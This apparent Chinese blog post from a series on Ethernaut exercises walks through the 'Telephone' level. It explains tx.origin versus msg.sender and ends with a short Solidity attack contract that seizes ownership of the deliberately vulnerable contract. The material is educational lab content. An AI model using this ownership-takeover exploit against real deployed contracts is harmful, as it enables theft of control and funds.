iT邦幫忙

2022 iThome 鐵人賽

DAY 7
1

(Telephone)倒楣鬼程式碼

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

通關條件

玩家必須將 Owner 改成自己才能通關

先備知識 tx.origin VS msg.sender

這關很明顯是要考驗玩家是否了解 tx.origin 和 msg.sender 的差別,我來舉個例子吧,假設今天有一 user 呼叫了 contractA 的某筆交易,而這 contractA 的某筆交易會呼叫 contractB,而 contractB 會呼叫 contractC,從這個例子來看,此筆交易中,contractA 的 msg.sender 和 tx.origin 都是 user,而 contractB 的 msg.sender 是 contractA,tx.origin 是 user,contractC 的 msg.sender 則是 contractB,tx.origin 則是 user,還是不懂嗎,沒關係,來看看下面的測試碼吧。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract origin {
    address public tx_;
    address public msg_;
    A a;
    constructor(address addr) {
        a = A(addr);
    }
    function touch() public {
        tx_ = tx.origin;
        msg_ = msg.sender;
        a.touch_A();
    }

}

contract A {
    address public tx_;
    address public msg_;
    B b;
    constructor(address addr) {
        b = B(addr);
    }
    function touch_A() public {
        tx_ = tx.origin;
        msg_ = msg.sender;
        b.touch_B();
    }
}

contract B {
    address public tx_;
    address public msg_;
    C c;
    constructor(address addr) {
        c = C(addr);
    }
    function touch_B() public {
        tx_ = tx.origin;
        msg_ = msg.sender;
        c.touch_C();
    }
}

contract C {
    address public tx_;
    address public msg_;
    function touch_C() public {
        tx_ = tx.origin;
        msg_ = msg.sender;
    }
}

請直接把測試碼貼到 remix,然後先部署 C,再把 C 的地址放入 B 的 constructor 內來部署 B,再把 B 的地址放入 A 的 constructor 內來部署 A ,最後把 A 的地址放入 origin 內來部署 origin,部署完成後點開 origin 執行 touch


那先備知識就介紹到這邊,希望大家都能理解了,接著就進入程式碼分析環節。

程式碼

因為這關的程式碼很短,所以我們直接把注意力放到 changeOwner 上吧

function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
}

可以看到只要 tx.origin 和 msg.sender 不相同,我們就能取得 Owner 權限了,依照上述先備知識的理解,只要使用一個合約去呼叫 changeOwner 那 tx.origin 會是我們 user 本身,而 msg.sender 會是合約 address,那麼就直接來實做吧。

通關

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Telephone {
    function changeOwner(address) external;
}

contract Attack {
    Telephone target = Telephone( 'Your instance address' );
    function hack() public {
        target.changeOwner(msg.sender);
    }
}



•|龴◡龴|• •|龴◡龴|• •|龴◡龴|• •|龴◡龴|•


上一篇
Day 6 - Chainlink VRF
下一篇
Day 8 - Token
系列文
智能合約漏洞演練 - Ethernaut18
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

我要留言

立即登入留言